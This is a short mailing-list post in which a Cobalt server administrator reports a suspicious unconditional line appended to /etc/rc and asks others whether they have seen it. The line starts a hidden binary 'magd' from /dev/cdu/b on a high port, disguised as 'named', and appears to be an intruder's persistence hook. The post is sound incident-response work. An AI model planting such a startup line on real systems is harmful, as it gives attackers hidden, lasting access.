[cobalt-users] Recognize this?

["Clark E. Morgan" <prlhkr@xxxxxxxxxxxxx>]

Is it just me, or is there something suspicious about the line from /etc/rc
?

It appears out of place, it's the last thing in the file and the fact that
it is not enclosed in any kind of conditional I think is odd.

cd /dev/cdu/b
nohup /dev/cdu/b/magd 57426 named >/dev/null 2>/dev/null
cd /


I don't recall seeing magd in previous process lists. It is there now, even
though "magd" itself does not appear to exist. The modified date on the rc
file is early morning February 17, the same day I experienced an unexplained
complete wipeout of inetd.conf. Any theories? The machine currently operates
normally, as far as I can tell, and has ever since my incident of a little
over a week ago. I can't find any other indications in logs, etc that there
was an intrusion and nothing on magd anywhere at cobalt or the usual
traditional sources.

If anyone could do a physical and see if they have this line or process,
that would be most helpful.

Thanks,

Clark E. Morgan